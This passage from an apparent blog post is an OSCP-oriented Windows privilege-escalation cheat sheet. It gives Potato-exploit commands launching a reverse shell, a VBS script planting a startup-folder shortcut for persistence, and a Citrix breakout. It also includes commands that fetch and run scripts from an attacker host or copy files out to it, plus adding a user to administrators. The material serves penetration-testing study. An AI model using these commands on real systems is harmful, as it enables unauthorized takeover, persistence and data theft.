href="https://github.com/Kevin-Robertson/Tater">https://github.com/Kevin-Robertson/Tater</a></p><p><a href="https://github.com/ohpe/juicy-potato/releases">https://github.com/ohpe/juicy-potato/releases</a></p><p>Get a valid CLSID:</p><p><a href="https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md">juicy-potato/CLSID/README.md at master · ohpe/juicy-potato</a></p><p>or run the GetCLSID.ps1 PowerShell script.</p><p><a href="https://raw.githubusercontent.com/ohpe/juicy-potato/master/CLSID/GetCLSID.ps1">https://raw.gthubusercontent.com/ohpe/juicy-potato/master/CLSID/GetCLSID.ps1</a></p><ul><li><strong>Rogue Potato</strong></li></ul><p><a href="https://github.com/antonioCoco/RoguePotato/releases">Releases · antonioCoco/RoguePotato</a></p><p><a href="https://0xdf.gitlab.io/2020/09/08/roguepotato-on-remote.html">This </a>is an amazing write up by 0xdf explaining this exploit:</p><pre>sudo socat tcp-listen:135,reuseaddr,fork tcp:&lt;win-ip&gt;:9999</pre><pre><br>&gt; C:\PrivEsc\RoguePotato.exe -r 192.168.1.11 –l 9999 -e “C:\PrivEsc\reverse.exe”</pre><ul><li><strong>PrintSpoofer</strong></li></ul><p><a href="https://github.com/itm4n/PrintSpoofer">GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the &quot;Printer Bug&quot;</a></p><pre>&gt; C:\PrivEsc\PrintSpoofer.exe –i -c “C:\PrivEsc\</pre><h3>Check for Scheduled Tasks</h3><pre>schtasks /query /fo LIST /v</pre><p>Using PowerShell:</p><pre>PS&gt; Get-ScheduledTask | where {$_.TaskPath -notlike “\Microsoft*”} | ft TaskName,TaskPath,State</pre><ul><li><strong>Startup Apps</strong></li></ul><pre>accesschk.exe /accepteula -d “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp”</pre><p>Then we can create a file comtaining the exploit:</p><pre>Set oWS = WScript.CreateObject(“WScript.Shell”)<br>sLinkFile = “C:\ProgramData\Microsoft\Windows\Start<br>Menu\Programs\StartUp\reverse.lnk”<br>Set oLink = oWS.CreateShortcut(sLinkFile)<br>oLink.TargetPath = “C:\PrivEsc\reverse.exe”<br>oLink.Save</pre><p>and then we need to run the below command. where CreateShortcut.vbs is our exploit we created</p><pre>cscript CreateShortcut.vbs</pre><h3>Other Checks</h3><ul><li><strong>Insecure GUI Apps (Citrix Method)</strong></li></ul><pre>tasklist /V | findstr mspaint.exe</pre><p>In the navigation input, replace the contents with:</p><pre>file://c:/windows/system32/cmd.exe</pre><ul><li><strong>Installed Applications</strong></li></ul><pre>&gt; tasklist /v<br>&gt; .\seatbelt.exe NonstandardProcesses<br>&gt; .\winPEASany.exe quiet procesinfo</pre><ul><li><strong>Hot Potato</strong></li></ul><p>Windows 7, 8, early versions of Windows 10</p><pre>.\potato.exe -ip 192.168.1.1 -cmd “C:\PrivEsc\reverse.exe” -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true</pre><ul><li><strong>Port forwarding</strong></li></ul><p>we can use plink.exe</p><pre>&gt; plink.exe &lt;user&gt;@&lt;kali&gt; -R &lt;kaliport&gt;:&lt;target-IP&gt;:&lt;target-port&gt;<br>&gt; plink.exe root@192.168.1.11 -R 445:127.0.0.1:445</pre><p><strong>Windows Subsystem for Linux (WSL)</strong></p><pre>wsl whoami<br>./ubuntun1604.exe config — default-user root</pre><p>Check for bash.exe:</p><pre>wsl python -c ‘BIND_OR_REVERSE_SHELL_PYTHON_CODE’</pre><pre>C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[…]\bash.exe</pre><pre>C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\</pre><p><strong>TeamViewer_Service.exe</strong></p><p>This exploit very well explained by <a href="https://0xdf.gitlab.io/2020/09/05/htb-remote.html">0xdf</a> in his blog</p><pre>PS C:\&gt; tasklist<br>…[snip]…<br>TeamViewer_Service.exe 3108 0 18,392 K<br>…[snip]…</pre><h3>Automated tools:</h3><p>You can always search your fav tool, make sure it is always updated and maintained in github:</p><p><strong>PowerUp</strong></p><p><a href="https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1">https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1</a></p><ul><li>Sherlock</li></ul><p><a href="https://github.com/rasta-mouse/Sherlock">rasta-mouse/Sherlock</a></p><h3>Other usefall commands</h3><ul><li>Enable RDP</li></ul><pre>net localgroup administrators &lt;username&gt; /add</pre><ul><li>Transfer Files — using smbserver.py from <a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py">impacket</a></li></ul><pre>root@kali# smbserver.py share . -smb2support -username df -password df</pre><p>Run the below commands on windows:</p><pre>&gt; net use \\&lt;kali-ip&gt;\share /u:df df<br>&gt; copy &lt;file-you-want-to-send-to-kali&gt; \\&lt;kali-ip&gt;\share\<br>&gt; copy \\&lt;kali-ip&gt;\share\&lt;file-you-want-to-get-from-kali&gt; .</pre><p>or you can use Invoke-WebRequest:</p><pre>Invoke-WebRequest http://&lt;kali-ip&gt;/winPEASx64.exe -OutFile winPEASx64.exe</pre><p>uaing powershell:</p><pre>Powershell iex (New-Object System.Net.WebClient).DownloadString(‘https://&lt;kali-ip&gt;/shell.ps1&#39;)</pre><p>Or using certutil — i found this VERY handy if i dont have a fully interactive shell, and i cannot run Powershell</p><pre>certutil -urlcache -f http://&lt;kali-ip&gt;/PowerUp.ps1 powerup.ps1</pre><p>Finally, previlige escilation is one of most cretical modules in OSCP, and its very important to practice the above techniqes and understands what to expect and what to look for in the output of the above commands.</p><h3>Some refrences and courses that really helped:</h3><p><a href="https://www.udemy.com/course/windows-privilege-escalation/"><strong>Windows Privilege Escalation for OSCP &amp; Beyond</strong></a></p><p><a href="https://www.udemy.com/course/windows-privilege-escalation-for-beginners/"><strong>Windows Privilege Escalation for Beginners</strong></a></p><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md"><strong>PayloadsAllTheThings — Windows - Privilege Escalation</strong></a></p><p><a href="https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html"><strong>sushant747 — Privilege Escalation Windows</strong></a></p><p><a href="https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/"><strong>2018-01-26-Windows-Privilege-Escalation-Guide</strong></a></p><p><strong>F</strong><a href="https://www.fuzzysecurity.com/tutorials/16.html"><strong>uzzysecurity</strong></a></p><p><a href="https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation"><strong>Book.hacktricks-checklist-windows-privilege-escalation</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bea5b371114d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>